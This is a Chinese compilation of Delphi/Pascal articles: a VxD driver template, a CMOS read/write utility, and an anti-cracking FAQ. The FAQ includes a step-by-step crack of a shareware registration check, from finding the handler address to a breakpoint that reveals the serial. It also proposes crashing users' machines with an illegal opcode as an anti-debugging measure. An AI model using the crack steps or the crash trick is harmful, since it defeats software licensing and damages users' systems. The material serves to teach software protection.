作者：Emil Biserov(dinfo@mail.primorye.ru)(Russion)

英语翻译：Vitaly Zayko(zayko@vitsoftware.com)

中文翻译改编：Riceball(teditor@mailroom.com)

前言

用 Delphi 3.0 编写 VxD 设备驱动程序，在Delphi 3 下编译通过，Delphi 2 下没有测试，Delphi 4 建立的 Object 文件 M$ Linker 5.12.8181 不能识别，这里使用的汇编器是M$的Macro Assembler ver. 6.11d ，联结器是M$ Incremental Linker ver. 5.12.8181 ，它们来自 Windows 98DDK(http://www.microsoft.com/ddk/ddk98.htm)。

介绍

Windows 存在有两种类型的 VxD 设备驱动程序：

1、静态(Static) VxD ，装入操作系统并永久的存在于内存中；

2、动态(Dynamic) VxD，当需要时才调入内存，用完后关闭VxD即可释放内存。

Inprise Delphi 有能力建立任何一种类型的 VxD 设备驱动程序，下面我们将介绍如何建立动态 VxD。

当 Win32 应用程序打开一个 VxD “虚拟”设备时，VWIN32 使用 LoadDevice 将 VxD 装入内存，并建立消息W32_DEVICEIOCONTROL ，发向 VxD。

也就是说，VxD 至少应该响应以下两个系统信息和编写以下的一个函数：

SYS_DYNAMIC_DEVICE_INIT

SYS_DYNAMIC_DEVICE_EXIT

W32_DEVICEIOCONTROL 函数.

消息 SYS_DYNAMIC_DEVICE_INIT 在尝试装入 VxD 时发送到 VxD ，消息 SYS_DYNAMIC_DEVICE_EXIT 在尝试动态交换时发送到 VxD ，消息的处理者在成功处理后，应该在寄存器 AX 中返回 VXD_SUCCESS 标志。

W32_DEVICEIOCONTROL 的 dwService 参数有以下的值：

DIOC_OPEN 当 VxD 通过 CreateFile() 函数尝试打开操作时发送（在 SYS_DYNAMIC_DEVICE_INIT 消息后），如果成功返回 NO_ERROR (0);

DIOC_CLOSEHANDLE 当 VxD 通过 CloseHandle() 函数尝试关闭操作时发送（在 SYS_DYNAMIC_DEVICE_EXIT 前）

所有其它的值 > 0 意味着不同的函数调用（由 dwIoControlCode 给出），当 VxD 被 DeviceIoControl 函数调用时。

启动模块(vxdmain.asm)

...

extrn SysDynamicDeviceInit :PROC

extrn SysDynamicDeviceExit :PROC

extrn W32DeviceIoControl :PROC

...

PUBLIC DELPHIIO_DDB

Public @@HandleFinally

Public @initialization

...

Control_0 proc

cmp eax, SYS_DYNAMIC_DEVICE_INIT

jnz short chkSysDynExit

call SysDynamicDeviceInit

cmp eax, 1

retn

;-------------

chkSysDynExit:

cmp eax, SYS_DYNAMIC_DEVICE_EXIT

jnz short chkDevIOCtl

call SysDynamicDeviceExit

cmp eax, 1

retn

;-------------

chkDevIOCtl:

cmp eax, W32_DEVICEIOCONTROL

jnz short loc_ret

push esi

push edx

push ebx

push ecx

call W32DeviceIoControl

cmp eax, 1

retn

;-------------

loc_ret:

clc

retn

Control_0 endp

@@HandleFinally:

@initialization:

ret

_LTEXT ends

END

Delphi 会为单元的 initialization/finalization 建立代码调用外部过程 HandleFinaly 和 initialization ，即使 initialization/finalization 在单元中不存在。因此我们在汇编的启动文件中建立空的外部过程入口。

主 Delphi 程序单元(vxdProcs.pas)

...

procedure ShellMessage(Handle, Flags : integer; const Message, Caption : PChar;

Callback, ReferenceData : pointer); stdcall; assembler;

asm

mov ebx, Handle // virtual machine handle

mov eax, Flags // message box flags

mov ecx, Message // address of message text

mov edi, Caption // address of caption text

mov esi, Callback // address of callback

mov edx, ReferenceData // reference data for callback

int 20H // VxDCall

dd 170004h // Shell_Message

end;

function SysDynamicDeviceInit : INTEGER;

begin

ShellMessage(0, $10, Copyright, 'SysDynInit: Hello from Delphi VxD !!!', nil, nil);

Result := VXD_SUCCESS;

end;

function SysDynamicDeviceExit : INTEGER;

begin

ShellMessage(0, $10, Copyright, 'SysDynDevExit: Bye from Delphi VxD !!!', nil, nil);

Result := VXD_SUCCESS;

end;

function W32DeviceIoControl(dwService : INTEGER;

dwDDB : INTEGER;

hDevice : INTEGER;

lpDIOCParms : pointer) : INTEGER;

begin

ShellMessage(0, $10, Copyright, 'W32DevIOCtl', nil, nil);

if (dwService = DIOC_OPEN) then

begin

Result := NO_ERROR;

end

else if (dwService = DIOC_CLOSEHANDLE) then

begin

Result := VXD_SUCCESS;

end

else if (dwService > MAX_PASVXD_W32_API) then

begin

Result := ERROR_NOT_SUPPORTED;

end

else

begin

Result := VXD_SUCCESS;

end;

end;

...

[译者：好了，简单的 VxD 设备驱动程序编写完毕了。你可以将它当作一个写 VxD 设备驱动程序的模板。]

附一：Make.bat

D:\VISUAL~1\98DDK\BIN\Win98\ml -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 vxdmain.asm

call dcc3.bat -J vxdprocs.pas

D:\VISUAL~1\98DDK\BIN\link /DEF:vxddef.def /VXD vxdmain.obj vxdprocs /OUT:delphiio.vxd

附二：

现在让我们来编写对该 VxD 的测试程序，两个按钮：一个打开 VxD；一个关闭 VxD。

const

VxDName = '\\.\DELPHIIO.VXD';

...

function TVxDTestForm.OpenVxDDriver: boolean;

begin

HVxDHandle := CreateFile(VxDName,0,0,nil,0,FILE_FLAG_DELETE_ON_CLOSE,0);

Result := HVxDHandle <> INVALID_HANDLE_VALUE;

end;

procedure TVxDTestForm.CloseVxDDriver;

begin

if HVxDHandle <> INVALID_HANDLE_VALUE then begin

CloseHandle(HVxDHandle);

HVxDHandle := INVALID_HANDLE_VALUE;

end;

end


读写CMOS数据

cmos内存的读写

一、CMOS内存信息详解
一般的PC/AT、286、386、486等微机均配有CMOS芯片,CMOS&127;芯片包含了一个实时钟
和64个字节的CMOS内存。在CMOS内存中，0-0DH为实时钟的有关信息，0E-&127;3FH包含
计算机的硬件配置信息,如常规内存的大小、扩展内存的大小、&127;软盘的类型、固定
盘的类型及其物理参数、显示器的类型等，这些参数与计算机能否正常工作具有密切的
关系，另外还有计算机的开机口令和其它辅助设置信息。表1列出了&127;CMOS内存各字
节的用途。
表1 CMOS内存配置信息的含义
地 址
功能
说明
0,1
秒,秒报警

2,3
分,分报警

4,5
时,时报警

6
星期几

7,8,9
日,月,年

A
状态寄存器A

B
状态寄存器B

C
状态寄存器C

D
状态寄存器D
0=电池失效,80=电池有效
E
诊断状态

F
关机状态
由上电诊断定义
10
软驱
高4位为A驱,低4位为B驱,0=无, 1=360KB, 2=1.2KB, 4=1.44KB, 6=720KB
11
保留

12
固定盘
高4位为C驱,低4位为D驱,0=无,F=用户定义盘, 其它为系统定义盘
13
保留

14
设备状态
标志驱动器数、显示器类型、有无数学处理器等
15-16
内存
以KB计的常规内存数,100H=256KB,200H=512KB, 280H=640KB
17-18
扩展内存
以KB计的扩展内存数,200H=512KB,400H=1024KB等
19
C盘类型数
根据具体硬盘类型而定
1A
D盘类型数
根据具体硬盘类型而定
1B-1C
保留

1D-1E
C盘柱体数
1D-2CH只有当硬盘为用户自定义类型时起作用
1F
C盘面数

20-21
C盘WP

22-23
C盘LZ

24
C盘每柱扇区

25-26
D盘柱体数

27
D盘面数

28-29
D盘WP

2A-2B
D盘LZ

2C
D盘每柱扇区

2D
保留

2E-2F
校验和
为10-2DH共30个字节的和数,2EH为高位,2FH为低位
30-31
扩展内存

32
日期的世纪数
BCD码的世纪值,如1995年的世纪数为19
33
标志信息

34-3F
保留

*地址栏均为16进制表示
二、读写CMOS内存的方法
CMOS内存的地址口和数据口的口地址分别为70H和71H。在对CMOS内存进行写操作时,首先
将要写入的CMOS内存的地址送到口地址70H,&127;再将要写入的数据送口地址71H。在对
CMOS内存进行读操作时,首先将要读出的CMOS内存的地址送到口地址70H,再从口地址71H
读出数据到AL寄存器。
三、程序设计与使用
为了方便系统信息丢失后CMOS信息的恢复,作者用BORLAND PASCAL&127;设计了一个CMOS
.PAS的程序,它可以将CMOS内存中的信息直接写入文件,也可以把文件中的信息写入CMOS
内存,同时可以对CMOS内存中的信息进行编辑修改,并重新写回CMOS内存。它不仅解决了
没有SETUP程序的计算机在加电时不能设置CMOS内存的问题,同时解决了CMOS信息的保存
和恢复问题，是广大计算机用户的一个好帮手。
该程序的使用很简单，在DOS提示符下打CMOS,即显示该程序的使用方法,&127;具体使用
方法是:
CMOS [/开关]
开关有3个:
R --- 读取CMOS内存信息,并将其存入CMOS.DAT的文件,共占64个字节。
W --- 从CMOS.DAT中读取信息,并将其写入CMOS内存。&127;注意这样写入的CMOS信息,其
时间和日期是不正确的,写完之后应当用DOS命令DATE和TIME&127;设置正确的日期和时间
。
M --- 从CMOS中读取当前信息,进行修改,然后将其写入CMOS内存和CMOS.DAT的文件。
四、程序清单
由于篇幅的限制，程序中略去了用TURBO &127;VISION&127;编写的程序界面部分。
program CMOS;
type
TCMOSType = record
Seconds : byte;
SecondAlarm : byte;
Minutes : byte;
MinuteAlarm : byte;
Hours : byte;
HourAlarm : byte;
DayOfWeek : byte;
DayOfMonth : byte;
Month : byte;
Year : byte;
StatusRegA : byte;
StatusRegB : byte;
StatusRegC : byte;
StatusRegD : byte;
DiagStatus : Byte;
ShutDownStatus : Byte;
FloppyDrive : byte;
Reserved1 : byte;
FixedDrive : Byte;
Reserved2 : byte;
Equipment : byte;
RAM : word;
XMS : word;
FixedDriveType1 : byte;
FixedDriveType2 : byte;
Reserved3 : word;
Cylinder1 : word;
Head1 : byte;
WP1 : word;
LZ1 : word;
Sector1 : byte;
Cylinder2 : word;
Head2 : byte;
WP2 : word;
LZ2 : word;
Sector2 : byte;
Sys : byte;
CheckSum : word;
XMS1 : word;
DateCentury : byte;
InfoFlags : byte;
Reserved4: array[1..12] of byte;
end;
TByte64 = array[1..64] of byte;
TCMOS = object
CMOSRec : TCMOSType;
procedure ReadCMOS;
procedure WriteCMOS;
procedure DisplayCMOS;
procedure ModifyCMOS;
procedure ReadFile;
procedure WriteFile;
end;
procedure TCMOS.ReadFile;
var
f1 : file;
data : tbyte64 absolute CMOSRec;
ch : char;
begin
write('Please input the drive name (A/B/C/D): ');
readln(ch);
assign(f1,ch+':\CMOS.DAT');
reset(f1,1);
blockread(f1,data,sizeof(data));
close(f1);
end;
procedure TCMOS.WriteFile;
var
f1:file;
data : tbyte64 absolute CMOSRec;
ch : char;
begin
write('Please input the drive name (A/B/C/D): ');
readln(ch);
assign(f1,ch+':\CMOS.DAT');
rewrite(f1,1);
blockwrite(f1,data,sizeof(data));
close(f1);
end;
procedure TCMOS.ReadCMOS;
begin
asm
les di,self
add di,CMOSRec
MOV CX,40H
MOV AH,0H
MOV BX,0
@1:
MOV DX,70H
MOV AL,AH
OUT DX,AL
INC DX
in AL,dx
MOV BYTE PTR es:[di+BX],al
INC AH
INC BX
DEC CX
JNZ @1
end;
end;
procedure TCMOS.WriteCMOS;
begin
asm
les di,self
add di,CMOSRec
MOV CX,40H
MOV AH,0H
MOV BX,0
@1:
MOV DX,70H
MOV AL,AH
OUT DX,AL
MOV AL,BYTE PTR es:[di+BX]
INC DX
OUT DX,AL
INC AH
INC BX
DEC CX
JNZ @1
end;
end;
procedure TCMOS.DisplayCMOS;
var
hd1,hd2,fd1,fd2 : byte;
begin
Writeln(^J^M'CMOS RAM information:');
writeln('Date(MM-DD-YY): ',CMOSRec.Month shr 4,CMOSRec.Month and $f,
'-',CMOSRec.DayOfMonth shr 4,CMOSRec.DayOfMonth and $f,
'-',CMOSRec.Year shr 4,CMOSRec.Year and $f);
writeln('Time(HH:MM:SS): ',CMOSRec.Hours shr 4,CMOSRec.Hours and $f,
':',CMOSRec.Minutes shr 4,CMOSRec.Minutes and $f,
':',CMOSRec.Seconds shr 4,CMOSRec.Seconds and $f);
writeln('Conventional Memory: ',CMOSRec.Ram,'KB');
writeln('Extended Memory: ',CMOSRec.XMS,'KB');
hd2 := CMOSRec.FixedDrive and $f;
hd1 := CMOSRec.FixedDrive shr 4;
if (hd1 <> 0) then
begin
writeln('Fixed Drive 1: ',CMOSRec.FixedDriveType1);
writeln(' Cylinder : ',CMOSRec.Cylinder1);
writeln(' Head : ',CMOSRec.Head1);
writeln(' Sector: ',CMOSRec.Sector1);
writeln(' LZ: ',CMOSRec.LZ1);
writeln(' WP: ',CMOSRec.WP1);
end;
if (hd2 <> 0) then
begin
writeln('Fixed Drive 2: ',CMOSRec.FixedDriveType2);
writeln(' Cylinder : ',CMOSRec.Cylinder2);
writeln(' Head : ',CMOSRec.Head2);
writeln(' Sector: ',CMOSRec.Sector2);
writeln(' LZ: ',CMOSRec.LZ2);
writeln(' WP: ',CMOSRec.WP2);
end;
fd2 := CMOSRec.FloppyDrive and $f;
fd1 := CMOSRec.FloppyDrive shr 4;
if (fd1 <> 0) then
begin
write('Floppy Drive 1 : ');
case fd1 of
1 : writeln('360KB 5.25''');
2 : writeln('1.2MB 5.25''');
4 : writeln('1.44MB 3.5''');
6 : writeln('720KB 3.5''');
end;
end ;
if (fd2 <> 0) then
begin
write('Floppy Drive 2 : ');
case fd2 of
1 : writeln('360KB 5.25''');
2 : writeln('1.2MB 5.25''');
4 : writeln('1.44MB 3.5''');
6 : writeln('720KB 3.5''');
end;
end;
end;
procedure TCMOS.ModifyCMOS;
var
hd1,hd2,fd1,fd2 : byte;
data : tbyte64 absolute CMOSRec;
i : word;
begin
Writeln('Please input CORRECT CMOS information !');
write('Conventional Memory (',CMOSRec.ram,'KB): ');readln(CMOSRec.ram);
write('Extended Memory (',CMOSRec.XMS,'KB): ');readln(CMOSRec.XMS);
write('Type of Fixed Disk 1: (',CMOSRec.FixedDriveType1,'): ');readln(CMOSRe
c.FixedDriveType1);
write(' Cylinder (',CMOSRec.Cylinder1,'):'); readln(CMOSRec.Cylinder1);
write(' Head (',CMOSRec.Head1,'): ');readln(CMOSRec.Head1);
write(' Sector (',CMOSRec.Sector1,'): ');readln(CMOSRec.Sector1);
write(' LZ (',CMOSRec.LZ1,'): ');readln(CMOSRec.LZ1);
write(' WP (',CMOSRec.WP1,'): ');readln(CMOSRec.WP1);
write('Type of Fixed Disk 2: (',CMOSRec.FixedDriveType2,'): ');readln(CMOSRe
c.FixedDriveType2);
write(' Cylinder (',CMOSRec.Cylinder2,'):'); readln(CMOSRec.Cylinder2);
write(' Head (',CMOSRec.Head2,'): ');readln(CMOSRec.Head2);
write(' Sector (',CMOSRec.Sector2,'): ');readln(CMOSRec.Sector2);
write(' LZ (',CMOSRec.LZ2,'): ');readln(CMOSRec.LZ2);
write(' WP (',CMOSRec.WP2,'): ');readln(CMOSRec.WP2);
hd1 := 0; hd2 :=0;
if (CMOSRec.FixedDriveType1>46) then hd1 := $f;
if (CMOSRec.FixedDriveType2>46) then hd2 := $f;
CMOSRec.FixedDrive := hd1 shl 4 + hd2;
fd2 := CMOSRec.FloppyDrive and $f;
fd1 := CMOSRec.FloppyDrive shr 4;
write('Floppy Drive 1 (');
case fd1 of
1 : write('360KB 5.25''): ');
2 : write('1.2MB 5.25''): ');
4 : write('1.44MB 3.5''): ');
6 : write('720KB 3.5''): ');
end;
readln(fd1);
write('Floppy Drive 2 (');
case fd2 of
1 : write('360KB 5.25''): ');
2 : write('1.2MB 5.25''): ');
4 : write('1.44MB 3.5''): ');
6 : write('720KB 3.5''): ');
end;
readln(fd2);
CMOSRec.FloppyDrive := fd1 shl 4 + fd2;
CMOSRec.CheckSum := 0;
for i := 17 to 46 do inc(CMOSRec.CheckSum,data[i]);
i := CMOSRec.CheckSum;
data[47] := hi(i);
data[48] := lo(i);
end;
procedure help;
begin
WriteLn('Syntex:'+^J^M+
' CMOS /R --- read information from CMOS RAM '+^J^M+
' and write it to CMOS.DAT file '+^J^M+
' CMOS /W --- read configuration information from CMOS.DAT '+^J^M+
' and write it to CMOS RAM');
Writeln(' CMOS /M --- modify CMOS information and save it'^J^M+
' Floppy Drive Type:'+^J^M+
' 1 : 360KB 5.25'''+^J^M+
' 2 : 1.2MB 5.25'''+^J^M+
' 4 : 1.44MB 3.5'''+^J^M+
' 6 : 720KB 3.5''');
end;
var ch : char;
temp : string;
ICMOS : TCMOS;
begin
WriteLn('CMOS Proctector 1.00, Copyright (c) 1995 Dong Zhanshan');
if paramcount = 1 then
begin
temp := paramstr(1);
ch := upcase(temp[2]);
case ch of
'M' : begin
ICMOS.ReadCMOS;
ICMOS.ModifyCMOS;
ICMOS.DisplayCMOS;
ICMOS.WriteFile;
ICMOS.WriteCMOS;
end;
'R' : begin
ICMOS.ReadCMOS;
ICMOS.DisplayCMOS;
ICMOS.WriteFile;

end;
'W' : begin
ICMOS.ReadFile;
ICMOS.DisplayCMOS;
ICMOS.WriteCMOS;
end;
else help;
end;
end
else
help;
end.


防破解问答集

防破解问答集 当发现自己为之工作了好几个月，甚至几年的程序被人破解的时候，所受的伤害是难以形容的。 我作为一个共享软件作者，并不是因为我在乎那几块钱而已（我不想在这里做具体的计算，那会使我更加难过...），不，我总是使我的程序尽可能的便宜，使包括学生和自由软件作者在内的每个人都能用得起。 然而，我知道破解软件的魅力（如果你对程序破解者（Cracker）和黑客（Hacker）抱绝对的不宽容态度，那么请原谅。但是我的一位同学是心理学家，我们一直在寻找其原因）。破解一个受限制的软件程序就像解一个（有时是很狡猾）的谜语，而你可能沉迷于这种解迷的感觉（当我发现我祖母在几个月里整天沉迷在玩字谜游戏时想起这些的）。问题是（我们现在涉及到这种“游戏”的非法部分）：程序破解者不会仅仅满足于只让自己了解他的“天赋”。他必须传播消息，发布他的“破解” （Cracker）（看一下破解包，多数是由以下部分组成：

1、破解工具；

2、简短的说明；

3、一个巨大的文件，包含有似乎作者不亚于世界上任何伟人，或者被破解的程序像所有其它程序一样无法用那脆弱的保护方式来阻止破解者破解程序的进程的信息）。

但是现在，玩笑彻底结束了。发布这些破解包（让我们公正些：“研究其可能性“）给其他人，散布到网站上，新闻组，邮件列表，匿名FTP，光盘，"abonnements"以及任何其它地方，他们明显地破坏了所有那些花时间和精力在他们软件产品上的收益。虽然没有人可以说，所有收到或者下载破解程序的人永远也不会购买。但是散布破解程序的确是犯罪，就像有人在商场分发你车钥匙的拷贝——他是否以此赚钱又有何分别呢？ 早些日子，我没有真正去花时间保护我的产品以防止被破解，但发现周围有它们的数个破解之后。我对自己说：为什么让它如此简单？ 作为一个程序员，我当然知道，不，决不！——程序不可能是破解不了的，而且我知道，每个有吸引力的程序都迟早会有破解（至少是盗版或非法复制品）出现，但至少，我可以避免最糟糕的错误。 多数的高级语言程序员不再懂得汇编语言了，所以，他们使用的“保护措施“多数是很脆弱的。我对汇编懂得也不多，所以我决定开始仔细收集防破解（Anti-Crack）的技巧。我也努力“从另一方面努力学习”，你在这里看到的许多技巧我都是从典型的破解技术中捉摸出来的，包括网上各种各样的破解指南和阅读甚至是由专业破解者给出程序保护技巧（他们给我们这些技巧以给自己更大的挑战），我希望自己学得足够好，也想把我的经验在此与大家分享,有些技巧可能已经在其它文章中有所提及，但在此列出的最为完整。许多技巧都是针对Windows的，但他们可以被移植到其它操作系统中去。 这篇问答集是全新的，如果你觉得我遗漏了一些要点或者有用的、一个典型的Delphi程序员可以简单的加入其程序，以加强对程序保护的技巧，请告诉我，如果你允许，我会把它加到这里，否则我会告诉你我对它的体验。 不要问我问题，我可能无法回答：

1) 我已经提到，我对底层的东西没有什么研究；

2) 我不会把范例文件发给你，因为我没有准备过发布任何东西，如果我有一些，那么都在这里了；

3) 最后，我不会提供任何人我发现这些技巧的连接，请记注，这是一个专注于编程的站点，而非提供可利用的破解程序。需要更多的保护程序的信息，可以看我的DELPHI技巧页。

最后，这里是： 如何使破解你程序的人感到头疼 （技巧未按其重要性排列）

不要用有意义的过程名字，例如： function RegistrationOK: Boolean;//译者按：注册确认 无论你在函数中编码多么奥妙和复杂，无论你相信于否一个有经验的破解者都会在10-20秒内删除之。 作为一种选择，你可以把程序中需要的一部分代码置入其内，如果破解者禁止了这个函数，你的程序将产生错误的结果。 不要用有意义的文件名比如License.Dat.。 用类似Asymetric（美国软件公司，代表软件Toolbook）的加密. 仅仅不寻常的文件名常常是不够的，好的加密（编码）可以让破解者忙几个月（如果他愿意） 加上长时间延迟，当发现被自身被损坏时，不要发出警告，随后开始等待，也许是一或两天（破解者讨厌者东西）。 加入短暂延迟，当输入口令或做其它检测时，停一到两秒钟，使穷举无法继续。简单易行，但用处不大。 使用相互检查，在DLL和EXE中互相检查，这远谈不上安全，但可以使破解变得更困难。 在软件中使用自我修复，你知道就像纠错Modem和容错硬盘，这技术已经有许多年了，怎么没人用在保护软件上？这方法最大的优点是：如果破解者使用反编译工具，它会见到一串无用的列表。 修补你的软件！把代码变为每次调用不同的确认程序段，用“其人之道还治其人之身”。 把序列号放在不寻常的地方，比如数据库字段的属性中，经常听到或读到，“用一个DLL的名字，然后把它放到系统目录里”，听的太多了，不要用哦:) 把序列号放到不同的地方。 不要依靠系统时间，从一些文件取得时间，比如SYSTEM.DAT，SYSTEM.DA0和BOOTLOG.TXT，把它们和系统时间进行比较，要求它们比上次运行的时间晚（但是记住，许多用户近来在捉千年虫）。 不要用明文字符串告诉用户:"对不起，不过...（或类似的东西）"这些是首先寻找的目标，动态建立字符串或者加密它们。 用伪造的程序调用和字符串来灌水。 不要使用一个确认函数，每次你确认用户，把确认代码写在当前过程中。这样只是让破解者做更多的破解工作。 使用“保留字”，当使用硬密钥或口令时，使它们看来像程序代码或者函数调用 (比如., "73AF" 或 "GetWindowText")。这确实工作的很不错，可以迷惑一些反编译工具。 没有“禁止”特征，如果你的程序有不保存数据版本(Crapware Version)，不要包含“灰”色菜单项。没有保存项等于没有保存，就那么简单。 避免不必要的提示信息，唯一提醒用户他尚未注册的只是“关于”对话盒，此对话盒要动态建立，以便保密。这有两个原因：许多程序员有这样的观点：多余的提示信息会在他们的顾客中产生敌人，这是愚蠢的。一个可能是更重要的原因是：多余提示信息会引导对你代码的反向工程而且经常直接引导至你的程序保护代码。 经常更新，频繁的更新指：经常更换代码，典型（简单）的破解只修改你的硬字节代码位置，这可能当它还未面市已经过期了。并且保证上载到公共服务器，使你可以更好的控制程序，人们无法找到破解所针对的旧版本。是的，这样无法防止包括旧版本和破解包盗版，如果他们那么做了，你至少可以为把他们的硬盘挤满而做点贡献。 最后，花点时间考虑保护你自己的软件。它是否值得保护？它是否更应该改进你的软件？如果没人用你的软件，保护也就没有意义了，不要过高估计你软件“对世界的重要性”。

你可以考虑到的更多技巧

用一个连续的几KB长的数学公式使任何想破解它的人精神崩溃。这使用一个密码生成器几乎无效——阻止穷举攻击也是有效的。 小心运行时刻库！当写BETA版时，完全使用之，在正式版中重写部分函数，这至少可以使破解者的生活更艰苦些。 毁坏结果，毁坏结果有时是保护程序的有效措施。 例如：想象一个图表程序，或者类似的程序，只是禁止打印然后根据一些注册码恢复打印是最常见的毁坏结果的程序。允许你打印。当产生要打印数据结构时，用某种方式破坏之，在打印前根据注册码或其它东西恢复。甚至，让破坏更奥妙，假设你有一个饼形图要打印，不改变任何东西，但加入一些不大的随机数值在你的数据中——这样就破坏了。图表看上去“不是很糟”，但是无论如何将无法使用（比如，如果是按20%的随机次序改变的）发现这样的保护，如果这和注册码相关联，无疑会使破解需要更对的时间，一是必须深入你内部的数据结构并找到可怕的破坏和恢复数据代码。 陷阱，一个我不太肯定，但听说有程序使用的方法：用CRC校验你的EXE文件，如果它被改变了，不要显示典型错误信息，等一天，然后用意思含糊的错误代码通知用户，当他们和你联系并告之错误代码时，你知道，是因为被破解了。记注：这样的陷阱可能被病毒或下载错误所触发，当你谴责可能是你未来的客户前，先考虑所有可能性。 不要依赖EXE压缩程序，几乎任何EXE压缩程序(Shrinker, WWPack32, NeoLite ——和所有著名的压缩软件)都有反压缩程序，所以，压缩程序的保护能力至少支持可配置的编码。以上（和其它）压缩程序的反压缩软件并未广泛流传，但是，不要依赖那些软件作为你程序仅有的一个“保护”。

高级技巧——从汇编来的奇想

rcr/rcl 把戏 如果RCR/RCL执行某值，对于破解者来说是痛苦的——在不知道最初操作时转送标志（Carry Flag）的值的情况下，你无法逆转之或否定其作用，如果转送标志是由一些其它烦琐的关键操作所产生的话，那么你几乎胜利了。 到处贴条件转移 条件跳转对于反向工程来说并不有趣。没有循环，只是跳转，作为有条件的路障，包括你那些可爱的KEY处理代码。这样，没有简单的反向操作可以执行。 使用部分代码作为奇妙的数字表。 （更适合评论部分）如果你像多数的破解者或喜欢用SOFT-ICE（一个流行的破解工具）改东西，你无法想象这会有多恼人， 和破解者斗智 这部分很有趣:-) 贴上连续的NOP，就像你在做自我代码修改（天啊，什么乱七八糟的，NOP？哈！自我代码修改！白痴会花三年去捉摸那些本来该是什么东西）。混乱的注释代码。把代码分成小块，把它们遍布在可执行代码中，在它们中间使用（最好是有条件的）跳转。 提早发现SoftIce.。 现在搞垮计算机，你可以搞垮奔腾或奔腾MMX计算机甚至不需要VXD，可以用操作码： F0 0F C7 C8 (非法的带锁定前缀的 cmpxchg8b 指令). 处此之外, 我们必须采取真正的措施：使用VXD把CPU带出保护模式。Windows 不喜欢那样，奇迹？另一方面，不要浪费太多的时间去写破坏反汇编程序或调试的代码。那没用，相信我，有人写了那些东西，另一些人立刻会有办法绕过它，所以，把你的兴趣转移到更重要的地方——那些容易且很快见效的措施，就像上面的技巧。

针对DELPHI控件的破解

让我们了解一些关于Borland公司新开发工具的内核吧。这些知识会使我们加快破解的速度，当然也使那些共享软件程序员更小心的使用Delphi，轻易的把他们的“秘密”暴露在那些好奇的目光下。 VCL是指Visual Component Library（可视化组件库），它近来被Borland的可视化编程工具所使用，比如Delphi和C++Builder。 这些环境使用特有的资源格式，在Resource Workshop（Borland编辑资源的一个工具）中显示为“RCDATA'”。这些资源中含有Delphi所谓的窗体（Forms），窗体是程序的窗口（Windows）。所有对窗口的设计的信息都包含内，当一个典型的Delphi程序开始运行时，其初始化代码建立这种窗体，并从资源中读取所需要的信息。有时，这种读取会被推迟——不常用的窗体在需要时才被建立和删除。这样的机制是Delphi的最大优势也是其最大的缺点。它大大提高了程序设计的速度，但是对于整个应用程序，它减慢了程序被调用时的速度 这部分中真正有趣的是：例程（被用来响应用户界面的窗体的元素）的地址是按名字邦定的。所以只要知道这些名字，我们就可以知道所需要的地址。 如果你曾经破解过我的Delphi程序，你一定对那些烦琐的库之间的调用，比如API调用断点（breakpoint）和类似“do xx”的代码。 [讨论一个十分有名的用Delphi写的应用程序] 就像你将见到的那样，我彻底的破解了它，而且十分轻松。我第一次安装以后一个星期后，我发现了一条令人厌恶的信息——“你的测试已经过期”。 首先要做的是使用资源或窗体探测（SPY）工具收集有关目标EXE文件的有关信息。你也许会想到去查看TVALIDATORDLG——很明显，用户名和注册码是由此输入的。但是你会发现那只是一个简单的对话盒，真正的工作是由其调用者TSPLASHFORM来完成的。这是个恼人的窗口，它在程序关闭、按“关于”按钮和程序开始部分不断出现。 你可以选择TsplashForm并且以文本格式观察之。关于按钮（Button）和标签（Label）的许多信息都将被很清楚的显示。让我们注意以下部分（接近最后）：

object RegButton: TButton
Left = 200
Top = 176
Width = 97
Height = 25
Caption = 'Register'
TabOrder = 1
OnClick = RegButtonClick
end

这是什么？这是带有“注册”标题的按钮。你可以看到它的大小，位置......和一个有启发性的名字——“OnClick”。 “OnClick”告诉我们当用户按注册按钮时所调用的例程，当我们有了名字(Name)，我们可以搜索例程的地址。这是因为例程是和按钮以名字(Name)邦定的。 使用一个十六进制编辑器观察"RegButtonClick"，我发现了两次，第二个是资源本身，第一个是在地址表（Address Table）中的。 000A4990 ____ ____ ____ BC57 4A00 0E52 6567 4275 ______.WJ..RegBu 000A49A0 7474 6F6E 436C 6963 6B__ ____ ____ ____ ttonClick_______ 现在，观察名字（Name）前那写神奇的数字，有一个字节('0E')指出了"RegButtonClick" 的长度(14 个字符)。而且，在此之前有其地址：004ABC57。 有的反汇编程序会以为文件太长，并且不能正确反汇编这部分——然而，使用特殊的工具，我们可以在此停止，对了，就停在我们按按钮的部分。 这些会使你发现一个调用（CALL）。跟踪之，你会在44ECC8发现一个“标准栈框架（standard stack frame）”： 0044ECC8 55 push ebp 0044ECC9 8BEC mov ebp, esp 这是一种程序员所写的，在高级例程开始部分所需要的东西。我们已经避开了一长串由Windows通知（Notification）所产生的VCL库调用，来到了正确的位置。 在此，你可以方便的用设置断点的方法来测试一些调用——你会发现它们是用来显示要求输入用户名和口令的对话盒。然后，注册码是由用户名和用户的输入比较所产生的。你可以输入你所选择的用户名，和任何东西作为注册码，在BPX到44ED69之后，一个调用一个例程用来比较两个字符串。D EDX会显示你输入（冒牌）的注册码，EAX会显示正确的注册码，简单吧？初学者只需10分钟就可以完成， 如何避免被类似的程序破解？ 阅读我以上的技巧。最基本的是不要用由双击按钮或有属性监视器（Object inspector.）生成默认的方法，在程序的其它部分写代码，最好是在另外的模板中，然后用类似以下的代码与按钮关联： RegButton.OnClick := RegButtonClick; 当然你需要在窗体建立时（被调用前）执行这段代码，最好是被一些无关的例程所调用，当然这远远不能防止你的程序被破解，但至少不会像你刚才看到的那样容易。

关于注册码的提示 (如果你无法避免它)

